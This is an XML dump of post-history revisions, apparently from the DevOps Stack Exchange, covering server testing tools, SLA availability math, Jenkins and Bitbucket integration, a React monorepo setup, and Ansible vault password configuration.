  <row Id="2271" PostHistoryTypeId="2" PostId="714" RevisionGUID="6fe7a9bc-a091-4385-a054-a3c022d4f030" CreationDate="2017-03-29T12:48:56.553" UserId="184" Text="A &quot;Walking Skeleton&quot; is a form of &quot;proof of concept&quot; of your basic architectural concept. Where a proof of concept typically focuses more on a single functionality, a &quot;Walking Skeleton&quot; is a minimalistic end-to-end implementation. A &quot;Walking Skeleton&quot; is not an outline of your concept (only a &quot;skeleton&quot;) but is really executable and shippable (it can &quot;walk&quot; :O) and should be accompanied with tests.&#xD;&#xA;&#xD;&#xA;Alistair Cockburn [has described it][1] (and is being quoted often):  &#xD;&#xA;&gt; A Walking Skeleton is a tiny implementation of the system that performs a small end-to-end function. It need not use the final architecture, but it should link together the main architectural components. The architecture and the functionality can then evolve in parallel.&#xD;&#xA;&#xD;&#xA;The advantage here for DevOps is that a &quot;Walking Skeleton&quot; should be developed early on in the project and results in **working, shippable and testable code**. This way DevOps can set up a full continuous integration chain early in the project, instead of being onboarded in the final phase of projects. This means that any issues that would arise are also being tackled in an early stage instead of rush work at the end.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alistair.cockburn.us/Walking+skeleton" ContentLicense="CC BY-SA 3.0" />
  <row Id="2272" PostHistoryTypeId="5" PostId="706" RevisionGUID="830b4ebd-fa93-4df0-aba8-bb8e20ac3f3c" CreationDate="2017-03-29T13:00:10.393" UserId="863" Comment="added 66 characters in body" Text="Some options out there..&#xD;&#xA;&#xD;&#xA;**Testing tools:** Sorted by github stars&#xD;&#xA;&#xD;&#xA;* [Serverspec][2] - Ruby, most popular tool out there, built on ruby's rspec&#xD;&#xA;* [Goss][1] - YAML, simple, &lt;10MB self-contained binary, extremely fast, can generate tests from system state&#xD;&#xA;* [Inspec](https://github.com/chef/inspec) - Ruby, think of it as an improved serverspec, almost same syntax, made by the chef guys. Built to be easier to extend than serverspec&#xD;&#xA;* [Testinfra](https://github.com/philpep/testinfra) - Python, has the cool feature of being able to use Ansible's inventory/vars&#xD;&#xA;&#xD;&#xA;**Major differences between them:**&#xD;&#xA;&#xD;&#xA;For better or worse, Goss approaches server validation differently than the other frameworks.&#xD;&#xA;&#xD;&#xA;* With the exception of Goss, all the frameworks rely exclusively on external system commands, this makes them less performant, but allows them to run tests against a remote machine (ex. over ssh). Goss only runs locally or in docker w/ dgoss.&#xD;&#xA;* All frameworks can be run locally on a server, but require Python or Ruby to be installed. Goss is a single &lt;10MB binary with no external dependencies.&#xD;&#xA;* Goss has built in support for nagios/sensu output, this allows for easier integration with monitoring tools (see next section).&#xD;&#xA;* Goss tests tend to be simpler, but less flexible since it's based on YAML. Other frameworks allow you to leverage the full power of the underlying language Python/Ruby. (simplicity vs flexibility)&#xD;&#xA;* Goss allows you to generate tests from current system state&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Continuous/divergence testing:**&#xD;&#xA;&#xD;&#xA;* [Chef Compliance](https://docs.chef.io/compliance.html) - works with inspec to continuously test your servers, paid product&#xD;&#xA;* [Goss](https://github.com/aelsabbahy/goss) - Can be easily hooked into Nagios or Sensu. Also, supports exposing server tests as an http endpoint.&#xD;&#xA;&#xD;&#xA;**Testing harnesses for development:**&#xD;&#xA;&#xD;&#xA;* [kitchen](http://kitchen.ci/) - Testing harness tool, launches instance, runs config management code, runs test suite. Made by the chef guys&#xD;&#xA;* [Molecule](https://molecule.readthedocs.io) - Similar to test kitchen, but written specifically for ansible&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/aelsabbahy/goss&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;&#xD;&#xA;***Full Disclosure:** I'm the author of goss*" ContentLicense="CC BY-SA 3.0" />
  <row Id="2273" PostHistoryTypeId="2" PostId="715" RevisionGUID="5afd659e-63b4-45ea-b242-3fcff9ca1e70" CreationDate="2017-03-29T13:23:05.933" UserId="13" Text="I'd take that as a math problem with the SLA being the probability of being OK.&#xD;&#xA;&#xD;&#xA;In this case we can rely on [probability rules][1] to get an overall.&#xD;&#xA;&#xD;&#xA;For your first case the probability that App Service (A) and Sql Service (B) are down at the same time is the product of their probability (I keep the math in percents to avoid too much 0):&#xD;&#xA;&#xD;&#xA;    P(A)*P(B) = 0.0005 * 0.0005 = 0,00000025&#xD;&#xA;&#xD;&#xA;The probability that one of them is down is the sum of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)+P(B) = 0.001&#xD;&#xA;&#xD;&#xA;When two events are independents the resulting formula to take in account the probability of both being down is:&#xD;&#xA;&#xD;&#xA;    P(A,B) = P(A) + P(B) - P(A)*P(B) = 0.001 - 0,00000025 = 0,00099975&#xD;&#xA;&#xD;&#xA;So the overall SLA would be (still in % from start) `1 - 0,00099975 =  0,99900025` wich in eprcent is `99.900025 %`&#xD;&#xA;&#xD;&#xA;A simplification is the product of the first probability: `0.9995 * 0.9995 = 0,99900025`.&#xD;&#xA;&#xD;&#xA;Applied to your 1h/24h outage (4,166666% of a day)  this gives (in decimal this time and abreviated):&#xD;&#xA;&#xD;&#xA;    0.0416 + 0.0416 - (0.0416 * 0.0416) = 0,081597222&#xD;&#xA;&#xD;&#xA;So the probability of being OK is `1 - 0.0816 = 0.9184` in percent: `91,84%`&#xD;&#xA;&#xD;&#xA;    24 * 0.0816 = 1.95 h&#xD;&#xA;&#xD;&#xA;This is less than the worst case of 2 hours because there's a chance both are down at the same time.&#xD;&#xA;&#xD;&#xA;Keeping that in mind, you may notice the availability for each is `95,84%` and `0,958333333 * 0,958333333 = 0,918402778` which is our `91.84%` from above (sorry for the full decimals here, but they are needed for the demonstration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now for your second case, we'll start gain from our compound probability for each region (Sorry I dismissed the change for SQL to keep it reasonable), assuming there's no independent probability for the region itself and that each region is isolated and as such a DB failure take only its region down.&#xD;&#xA;&#xD;&#xA;We have the traffic manager OK probability `P(T) = 0.9999` and each app+DB couple with a OK probability `P(G) = 0,99900025` from above.&#xD;&#xA;&#xD;&#xA;How much region we have play a role as we have to apply the product of failure probability only to get the probability both region are down as the same time:  &#xD;&#xA;`0.0975 * 0.0975 = 0,00950625` which means an overall availability of at least one region of `99,049375 %` &#xD;&#xA;&#xD;&#xA;Now we have the overall regions availability, the product with the traffic manager one give us the overall availability of the system:&#xD;&#xA;&#xD;&#xA;     `0.9999 * 0.99049375 = 0,990394701` &#xD;&#xA;&#xD;&#xA;The overall availability is `99.0394701 %` &#xD;&#xA; &#xD;&#xA;[1]: https://en.wikipedia.org/wiki/Probability#Mathematical_treatment" ContentLicense="CC BY-SA 3.0" />
  <row Id="2274" PostHistoryTypeId="5" PostId="715" RevisionGUID="8540ce40-0154-44a7-81a9-a3ea72a614df" CreationDate="2017-03-29T13:25:58.667" UserId="47" Comment="improved formatting" Text="I'd take that as a math problem with the SLA being the probability of being OK.&#xD;&#xA;&#xD;&#xA;In this case we can rely on [probability rules][1] to get an overall.&#xD;&#xA;&#xD;&#xA;For your first case the probability that App Service (A) and Sql Service (B) are down at the same time is the product of their probability (I keep the math in percents to avoid too much 0):&#xD;&#xA;&#xD;&#xA;    P(A)*P(B) = 0.0005 * 0.0005 = 0,00000025&#xD;&#xA;&#xD;&#xA;The probability that one of them is down is the sum of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)+P(B) = 0.001&#xD;&#xA;&#xD;&#xA;When two events are independents the resulting formula to take in account the probability of both being down is:&#xD;&#xA;&#xD;&#xA;    P(A,B) = P(A) + P(B) - P(A)*P(B) = 0.001 - 0,00000025 = 0,00099975&#xD;&#xA;&#xD;&#xA;So the overall SLA would be (still in % from start) `1 - 0,00099975 =  0,99900025` wich in eprcent is `99.900025 %`&#xD;&#xA;&#xD;&#xA;A simplification is the product of the first probability: `0.9995 * 0.9995 = 0,99900025`.&#xD;&#xA;&#xD;&#xA;Applied to your 1h/24h outage (4,166666% of a day)  this gives (in decimal this time and abreviated):&#xD;&#xA;&#xD;&#xA;    0.0416 + 0.0416 - (0.0416 * 0.0416) = 0,081597222&#xD;&#xA;&#xD;&#xA;So the probability of being OK is `1 - 0.0816 = 0.9184` in percent: `91,84%`&#xD;&#xA;&#xD;&#xA;    24 * 0.0816 = 1.95 h&#xD;&#xA;&#xD;&#xA;This is less than the worst case of 2 hours because there's a chance both are down at the same time.&#xD;&#xA;&#xD;&#xA;Keeping that in mind, you may notice the availability for each is `95,84%` and `0,958333333 * 0,958333333 = 0,918402778` which is our `91.84%` from above (sorry for the full decimals here, but they are needed for the demonstration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now for your second case, we'll start gain from our compound probability for each region (Sorry I dismissed the change for SQL to keep it reasonable), assuming there's no independent probability for the region itself and that each region is isolated and as such a DB failure take only its region down.&#xD;&#xA;&#xD;&#xA;We have the traffic manager OK probability `P(T) = 0.9999` and each app+DB couple with a OK probability `P(G) = 0,99900025` from above.&#xD;&#xA;&#xD;&#xA;How much region we have play a role as we have to apply the product of failure probability only to get the probability both region are down as the same time:  &#xD;&#xA;`0.0975 * 0.0975 = 0,00950625` which means an overall availability of at least one region of `99,049375 %` &#xD;&#xA;&#xD;&#xA;Now we have the overall regions availability, the product with the traffic manager one give us the overall availability of the system:&#xD;&#xA;&#xD;&#xA;    0.9999 * 0.99049375 = 0,990394701&#xD;&#xA;&#xD;&#xA;The overall availability is `99.0394701 %` &#xD;&#xA; &#xD;&#xA;[1]: https://en.wikipedia.org/wiki/Probability#Mathematical_treatment" ContentLicense="CC BY-SA 3.0" />
  <row Id="2276" PostHistoryTypeId="5" PostId="715" RevisionGUID="32ac1ea1-078e-45e5-9f33-af5e1135bb74" CreationDate="2017-03-29T14:55:28.120" UserId="13" Comment="deleted 85 characters in body" Text="I'd take that as a math problem with the SLA being the probability of being OK.&#xD;&#xA;&#xD;&#xA;In this case we can rely on [probability rules][1] to get an overall.&#xD;&#xA;&#xD;&#xA;For your first case the probability that App Service (A) and Sql Service (B) are down at the same time is the product of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)*P(B) = 0.0005 * 0.0005 = 0,00000025&#xD;&#xA;&#xD;&#xA;The probability that one of them is down is the sum of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)+P(B) = 0.001&#xD;&#xA;&#xD;&#xA;When two events are independents the resulting formula to take in account the probability of both being down is:&#xD;&#xA;&#xD;&#xA;    P(A,B) = P(A) + P(B) - P(A)*P(B) = 0.001 - 0,00000025 = 0,00099975&#xD;&#xA;&#xD;&#xA;So the overall SLA would be `1 - 0,00099975 =  0,99900025` wich in percent is `99.900025 %`&#xD;&#xA;&#xD;&#xA;A simplification is the product of the first probability: `0.9995 * 0.9995 = 0,99900025`.&#xD;&#xA;&#xD;&#xA;Applied to your 1h/24h outage (4,166666% of a day)  this gives (decimals are abbreviated):&#xD;&#xA;&#xD;&#xA;    0.0416 + 0.0416 - (0.0416 * 0.0416) = 0,081597222&#xD;&#xA;&#xD;&#xA;So the probability of being OK is `1 - 0.0816 = 0.9184` in percent: `91,84%`&#xD;&#xA;&#xD;&#xA;    24 * 0.0816 = 1.95 h&#xD;&#xA;&#xD;&#xA;This is less than the worst case of 2 hours because there's a chance both are down at the same time.&#xD;&#xA;&#xD;&#xA;Keeping that in mind, you may notice the availability for each is `95,84%` and `0,958333333 * 0,958333333 = 0,918402778` which is our `91.84%` from above (sorry for the full decimals here, but they are needed for the demonstration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now for your second case, we'll start gain from our compound probability for each region (Sorry I dismissed the change for SQL to keep it reasonable), assuming there's no independent probability for the region itself and that each region is isolated and as such a DB failure take only its region down.&#xD;&#xA;&#xD;&#xA;We have the traffic manager OK probability `P(T) = 0.9999` and each app+DB couple with a OK probability `P(G) = 0,99900025` from above.&#xD;&#xA;&#xD;&#xA;How much region we have play a role as we have to apply the product of failure probability only to get the probability both region are down as the same time:  &#xD;&#xA;`0.0975 * 0.0975 = 0,00950625` which means an overall availability of at least one region of `99,049375 %` &#xD;&#xA;&#xD;&#xA;Now we have the overall regions availability, the product with the traffic manager one give us the overall availability of the system:&#xD;&#xA;&#xD;&#xA;    0.9999 * 0.99049375 = 0,990394701&#xD;&#xA;&#xD;&#xA;The overall availability is `99.0394701 %` &#xD;&#xA; &#xD;&#xA;[1]: https://en.wikipedia.org/wiki/Probability#Mathematical_treatment" ContentLicense="CC BY-SA 3.0" />
  <row Id="2277" PostHistoryTypeId="5" PostId="706" RevisionGUID="88837ef2-8ff2-46e2-a28d-6716a22d1e23" CreationDate="2017-03-29T15:08:45.600" UserId="863" Comment="Updated some incorrect information regarding inspec" Text="Some options out there..&#xD;&#xA;&#xD;&#xA;**Testing tools:** Sorted by github stars&#xD;&#xA;&#xD;&#xA;* [Serverspec][2] - Ruby, most popular tool out there, built on ruby's rspec&#xD;&#xA;* [Goss][1] - YAML, simple, &lt;10MB self-contained binary, extremely fast, can generate tests from system state&#xD;&#xA;* [Inspec](https://github.com/chef/inspec) - Ruby, think of it as an improved serverspec, almost same syntax, made by the chef guys. Built to be easier to extend than serverspec&#xD;&#xA;* [Testinfra](https://github.com/philpep/testinfra) - Python, has the cool feature of being able to use Ansible's inventory/vars&#xD;&#xA;&#xD;&#xA;**Major differences between them:**&#xD;&#xA;&#xD;&#xA;For better or worse, Goss approaches server validation differently than the other frameworks.&#xD;&#xA;&#xD;&#xA;* With the exception of Goss, all the frameworks can run against a remote machine (ex. over ssh). Goss only runs locally or in docker w/ dgoss.&#xD;&#xA;* All frameworks can be run locally on a server, but require Python or Ruby to be installed or embedded. Inspec provides a self-contained &lt;150MB bundle with an embedded version of ruby. Goss is a single &lt;10MB binary with no external dependencies.&#xD;&#xA;* Goss has built in support for nagios/sensu output, this allows for easier integration with monitoring tools (see next section).&#xD;&#xA;* Goss tests tend to be simpler, but less flexible since it's based on YAML. Other frameworks allow you to leverage the full power of the underlying language Python/Ruby to write tests or extend the tools functionality. (simplicity vs flexibility)&#xD;&#xA;* Goss allows you to generate tests from current system state&#xD;&#xA;&#xD;&#xA;**Continuous/divergence testing:**&#xD;&#xA;&#xD;&#xA;* [Chef Compliance](https://docs.chef.io/compliance.html) - works with inspec to continuously test your servers, paid product&#xD;&#xA;* [Goss](https://github.com/aelsabbahy/goss) - Can be easily hooked into Nagios or Sensu. Also, supports exposing server tests as an http endpoint.&#xD;&#xA;&#xD;&#xA;**Testing harnesses for development:**&#xD;&#xA;&#xD;&#xA;* [kitchen](http://kitchen.ci/) - Testing harness tool, launches instance, runs config management code, runs test suite. Made by the chef guys&#xD;&#xA;* [Molecule](https://molecule.readthedocs.io) - Similar to test kitchen, but written specifically for ansible&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/aelsabbahy/goss&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;&#xD;&#xA;***Full Disclosure:** I'm the author of goss*" ContentLicense="CC BY-SA 3.0" />
  <row Id="2278" PostHistoryTypeId="5" PostId="706" RevisionGUID="84accf79-6bf3-4e2d-ae34-1825502d1bea" CreationDate="2017-03-29T15:19:47.450" UserId="863" Comment="added 152 characters in body" Text="Some options out there..&#xD;&#xA;&#xD;&#xA;**Testing tools:** Sorted by github stars&#xD;&#xA;&#xD;&#xA;* [Serverspec][2] - Ruby, most popular tool out there, built on ruby's rspec&#xD;&#xA;* [Goss][1] - YAML, simple, &lt;10MB self-contained binary, extremely fast, can generate tests from system state&#xD;&#xA;* [Inspec](https://github.com/chef/inspec) - Ruby, think of it as an improved serverspec, almost same syntax, made by the chef guys. Built to be easier to extend than serverspec&#xD;&#xA;* [Testinfra](https://github.com/philpep/testinfra) - Python, has the cool feature of being able to use Ansible's inventory/vars&#xD;&#xA;&#xD;&#xA;**Major differences between them:**&#xD;&#xA;&#xD;&#xA;Ultimately, I would suggest spending a day experimenting with all of them to get a feel for them before deciding for yourself.&#xD;&#xA;&#xD;&#xA;* With the exception of Goss, all the frameworks can run against a remote machine (ex. over ssh). Goss only runs locally or in docker w/ dgoss.&#xD;&#xA;* All frameworks can be run locally on a server, but require Python or Ruby to be installed or embedded. Inspec provides a self-contained &lt;150MB bundle with an embedded version of ruby. Goss is a single &lt;10MB binary with no external dependencies.&#xD;&#xA;* Goss has built in support for nagios/sensu output, this allows for easier integration with monitoring tools.&#xD;&#xA;* Goss tests tend to be simpler, but less flexible since it's based on YAML. Other frameworks allow you to leverage the full power of the underlying language Python/Ruby to write tests or extend the tool's functionality. (simplicity vs flexibility)&#xD;&#xA;* Goss allows you to generate tests from current system state&#xD;&#xA;* Testinfra to my knowledge is the only one that has built-in support for ansible inventory and variables&#xD;&#xA;* Inspec is backed by Chef&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Continuous/divergence testing:**&#xD;&#xA;&#xD;&#xA;* [Chef Compliance](https://docs.chef.io/compliance.html) - works with inspec to continuously test your servers, paid product&#xD;&#xA;* [Goss](https://github.com/aelsabbahy/goss) - Can be easily hooked into Nagios or Sensu. Also, supports exposing server tests as an http endpoint.&#xD;&#xA;&#xD;&#xA;**Testing harnesses for development:**&#xD;&#xA;&#xD;&#xA;* [kitchen](http://kitchen.ci/) - Testing harness tool, launches instance, runs config management code, runs test suite. Made by the chef guys&#xD;&#xA;* [Molecule](https://molecule.readthedocs.io) - Similar to test kitchen, but written specifically for ansible&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/aelsabbahy/goss&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;&#xD;&#xA;***Full Disclosure:** I'm the author of goss*" ContentLicense="CC BY-SA 3.0" />
  <row Id="2279" PostHistoryTypeId="2" PostId="716" RevisionGUID="eff86697-a9ab-45e7-982e-81e5f3b27a2f" CreationDate="2017-03-29T15:35:54.363" UserId="13" Text="So still not benchmarked much, but after a quick code inspection and a bunch of reading about netty and logstash in version 5 the input is not the bottleneck to worry about.&#xD;&#xA;&#xD;&#xA;Logstash team did put a bunch of work in the way the filters and outputs plugins are run in parallel, the beats input plugin wait for a batch of events, and the performances problem have indeed been solved in version 3.1.0 by the rewrite I quoted in the question." ContentLicense="CC BY-SA 3.0" />
  <row Id="2282" PostHistoryTypeId="2" PostId="717" RevisionGUID="577835cd-5f86-44d9-85b1-82d58bc18f8b" CreationDate="2017-03-29T19:46:49.077" UserId="40" Text="When using Jenkins to trigger some process (eg a remote build) at a remote location, why would you ever want to &quot;***fire***&quot; something, and then just &quot;***forget***&quot; about the outcome of what got triggered remotely? At least that is what &quot;fire and forget&quot; seems to be about.&#xD;&#xA;&#xD;&#xA;Such &quot;fire and forget&quot; sounds like not respecting some of the basic rules in IT: in whatever process (or program, etc) you write, try to always be prepared for unexpected conditions (return codes, etc) that may arise. So that you'll also have appropriate error handling in place.&#xD;&#xA;&#xD;&#xA;To the extend it does make sense, in the (mainframe) SCM tool that I'm most familiar with, you'd start some FTP process from a dev environment to a remote target (eg to distribute and activate executables). And sooner or later (asynchronously) somebody gets some kind of acknowledgement back (from the remote target to the dev site) that indicates &quot;success or failure&quot;. And if within a reasonable amount of time no feedback at all is returned, you know that something is not working as it should. Using such scenarios, you'll never *forget* what got *fired*.&#xD;&#xA;&#xD;&#xA;Any examples for which using &quot;fire and forget&quot; in Jenkins does make sense?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2283" PostHistoryTypeId="1" PostId="717" RevisionGUID="577835cd-5f86-44d9-85b1-82d58bc18f8b" CreationDate="2017-03-29T19:46:49.077" UserId="40" Text="Why trigger something remotely (using Jenkins) and then just forget about it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2284" PostHistoryTypeId="3" PostId="717" RevisionGUID="577835cd-5f86-44d9-85b1-82d58bc18f8b" CreationDate="2017-03-29T19:46:49.077" UserId="40" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2286" PostHistoryTypeId="2" PostId="718" RevisionGUID="12f4fb4f-4d8f-4681-9ddc-a48c21d44ae5" CreationDate="2017-03-29T20:45:24.177" UserId="72" Text="I wouldn't describe Jenkins jobs as &quot;fire and forget.&quot;  They are designed to run automatically without the need for human interaction, however, that doesn't mean the result of a job is not visible.  Quite the opposite- detailed logs of all activity are available for jobs ranging from command-line tools to custom deployment jobs.&#xD;&#xA;&#xD;&#xA;The testing results from Jenkins jobs are routinely displayed on large-screen TVs all over the Development floor of many companies I've seen.  There are whole plugins devoted to making this type of information available to developers, Ops, and management in a dashboard format." ContentLicense="CC BY-SA 3.0" />
  <row Id="2287" PostHistoryTypeId="2" PostId="719" RevisionGUID="2c513732-cde5-4a89-968e-887a27293751" CreationDate="2017-03-29T22:28:52.907" UserId="879" Text="I need to integrate Bitbucket with Jenkins. So that whenever a PR is opened in bitbucket it will trigger a build in Jenkins. Can some one help with exact configuration step that should i follow in bitbucket and jenkins as well as.... to achieve this...&#xD;&#xA;&#xD;&#xA;so far i did the below process&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/am4fb.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2288" PostHistoryTypeId="1" PostId="719" RevisionGUID="2c513732-cde5-4a89-968e-887a27293751" CreationDate="2017-03-29T22:28:52.907" UserId="879" Text="Bitbucket Pull Request Builder Configuration Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="2289" PostHistoryTypeId="3" PostId="719" RevisionGUID="2c513732-cde5-4a89-968e-887a27293751" CreationDate="2017-03-29T22:28:52.907" UserId="879" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2290" PostHistoryTypeId="5" PostId="640" RevisionGUID="5f737d0d-de8d-43b5-8e60-27fdff283580" CreationDate="2017-03-29T22:37:03.713" UserId="872" Comment="Fixed spelling, edited structure to meet character change minimum" Text="I would hesitate to describe your once per day model as CI/CD, it sounds more like the &quot;nightly build&quot; model. &#xD;&#xA;&#xD;&#xA;It really depends on the nature of your work and processes.  If things flow smoothly through building, testing, and preparation of an artifact for deployment and your development model / velocity isn't such that it would benefit from more frequent runs, I would say you have the spirit of CI/CD.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2291" PostHistoryTypeId="24" PostId="640" RevisionGUID="5f737d0d-de8d-43b5-8e60-27fdff283580" CreationDate="2017-03-29T22:37:03.713" Comment="Proposed by 872 approved by 40, 47 edit id of 203" ContentLicense="CC BY-SA 3.0" />
  <row Id="2292" PostHistoryTypeId="2" PostId="720" RevisionGUID="9734c5dd-4d51-4eb8-adba-df1c3a2b1e20" CreationDate="2017-03-30T05:37:23.563" UserId="884" Text="We have a mono-laravel-repo and are in the process of migrating to a cleaner, easier to maintain dev build.&#xD;&#xA;&#xD;&#xA;We have recently moved towards migrating our existing PHP based views into multiple React-based &quot;features&quot; that live in a `/react` directory and are organised into `/react/featureName` sub-directories. This means Laravel's controllers mostly handle data and authentication only.&#xD;&#xA;&#xD;&#xA;Each feature is maintained by one or more developers, have their own dependancies, tests and functionality. &#xD;&#xA;&#xD;&#xA;We're currently serving builds in the public root of our project organised by feature:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    js/FeatureName.hashed.js&#xD;&#xA;    css/FeatureName.hased.css&#xD;&#xA;&#xD;&#xA;which works great except that we share many packages between `features`. React itself, react-router etc.&#xD;&#xA;&#xD;&#xA;We intend to use Laravel's `mix.js` as much as possible, but hacking directly on `webpack.config` is also an option I've explored it's `mix.extract()` option that allows us to define *vendor.js* builds separate from other application logic but it stops there.&#xD;&#xA;&#xD;&#xA;So here are my question(s)&#xD;&#xA;&#xD;&#xA; 1. What approaches are there to manage multiple `package.json` files that live in each feature directory&#xD;&#xA; 2. How do we identify common packages and lock them into a root `/package.json` file. (Independently, all developers already use `yarn`)&#xD;&#xA; 3. How to accomplish this with as little friction as possible for all react based developers - so that they get to simply continue with whatever they are already doing and devOps handles the gritty bits?&#xD;&#xA;&#xD;&#xA;I understand there might be a need for more information, please shout out what you need in the comments and I'd be happy to update the question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(Feel free to add relevant tags as you see fit, I don't have enough rep to do so)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2293" PostHistoryTypeId="1" PostId="720" RevisionGUID="9734c5dd-4d51-4eb8-adba-df1c3a2b1e20" CreationDate="2017-03-30T05:37:23.563" UserId="884" Text="Best way to integrate multiple &quot;feature&quot; react apps into monolithic PHP repo" ContentLicense="CC BY-SA 3.0" />
  <row Id="2294" PostHistoryTypeId="3" PostId="720" RevisionGUID="9734c5dd-4d51-4eb8-adba-df1c3a2b1e20" CreationDate="2017-03-30T05:37:23.563" UserId="884" Text="&lt;configuration&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2295" PostHistoryTypeId="2" PostId="721" RevisionGUID="49fbcf5f-ea66-4b62-a933-f511665e49c7" CreationDate="2017-03-30T07:51:26.910" UserId="210" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2296" PostHistoryTypeId="1" PostId="721" RevisionGUID="49fbcf5f-ea66-4b62-a933-f511665e49c7" CreationDate="2017-03-30T07:51:26.910" UserId="210" Text="Why could the encrypted Ansible files not be decrypted although the vault password file has been set?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2297" PostHistoryTypeId="3" PostId="721" RevisionGUID="49fbcf5f-ea66-4b62-a933-f511665e49c7" CreationDate="2017-03-30T07:51:26.910" UserId="210" Text="&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2298" PostHistoryTypeId="2" PostId="722" RevisionGUID="b5e4ab91-c687-4c17-87ec-b1eeddf9a3d4" CreationDate="2017-03-30T08:02:10.557" UserId="887" Text="You will need to install 'Bitbucket Server Webhook to Jenkins' in Bitbucket. &#xD;&#xA;https://marketplace.atlassian.com/plugins/com.nerdwin15.stash-stash-webhook-jenkins/server/overview&#xD;&#xA;&#xD;&#xA;Once install you will need to enable the 'Post Receive' Hook on the required repository.&#xD;&#xA;&#xD;&#xA;Remember to enable 'poll SCM' for the Jenkins Job." ContentLicense="CC BY-SA 3.0" />
  <row Id="2299" PostHistoryTypeId="5" PostId="708" RevisionGUID="4fd9cf18-cb59-4da8-a375-d8bb1c1db0c2" CreationDate="2017-03-30T08:13:57.597" UserId="775" Comment="added 7 characters in body" Text="You can set an environment variable `ANSIBLE_VAULT_PASSWORD_FILE` storing the path the the vault password file. This way you won't have the always use the `--vault-password-file` switch when running a playbook. &#xD;&#xA;&#xD;&#xA;This is described in Ansible's Vault documentation, available [here][1].&#xD;&#xA;&#xD;&#xA;So, add `export ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txt` to your `~/.bash_profile`, source from it and you're ready to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you need different vault passwords for different groups of hosts, then you should do the following:&#xD;&#xA;&#xD;&#xA;&gt; Inside of this subdirectory,&#xD;&#xA;&gt; create two files named vars and vault. Inside of the vars file, define&#xD;&#xA;&gt; all of the variables needed, including any sensitive ones. Next, copy&#xD;&#xA;&gt; all of the sensitive variables over to the vault file and prefix these&#xD;&#xA;&gt; variables with vault_. You should adjust the variables in the vars&#xD;&#xA;&gt; file to point to the matching vault_ variables and ensure that the&#xD;&#xA;&gt; vault file is vault encrypted.&#xD;&#xA;&#xD;&#xA;This is an example for best practices approach for managing sensitive information on per group basis. More information is available in Ansible's documentation [here][2] (The above text is copied from there). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_vault.html&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/playbooks_best_practices.html#best-practices-for-variables-and-vaults" ContentLicense="CC BY-SA 3.0" />
  <row Id="2300" PostHistoryTypeId="5" PostId="722" RevisionGUID="8fffca45-8e2a-4a87-848b-16d31ccaa5be" CreationDate="2017-03-30T08:15:05.067" UserId="887" Comment="deleted 9 characters in body" Text="You can install 'Bitbucket Server Webhook to Jenkins' in Bitbucket. &#xD;&#xA;https://marketplace.atlassian.com/plugins/com.nerdwin15.stash-stash-webhook-jenkins/server/overview&#xD;&#xA;&#xD;&#xA;Once install you will need to enable the 'Post Receive' Hook on the required repository.&#xD;&#xA;&#xD;&#xA;Remember to enable 'poll SCM' for the Jenkins Job." ContentLicense="CC BY-SA 3.0" />
